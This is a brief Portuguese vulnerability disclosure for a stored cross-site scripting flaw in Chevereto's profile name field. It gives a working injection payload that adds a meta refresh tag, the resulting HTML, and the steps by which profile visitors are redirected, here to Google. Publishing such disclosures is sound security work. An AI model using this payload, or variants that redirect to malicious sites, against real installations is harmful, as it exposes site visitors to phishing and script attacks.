
Chevereto XSS armazenado na página de perfil - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core
Chevereto armazenou XSS na página de perfil - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. Um usuário comum pode inserir HTML e script no nome do perfil e ele será executado na página do perfil.
/settings/profile
Nome:
0;https://www.google.se" http-equiv="refresh" data="
Resultado na página do perfil, que redirecionará para o Google:
<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">
Usuário registrado insere algum script no campo de nome, neste caso para redirecionar o usuário para o Google
Alguém entra no perfil de /test e é então redirecionado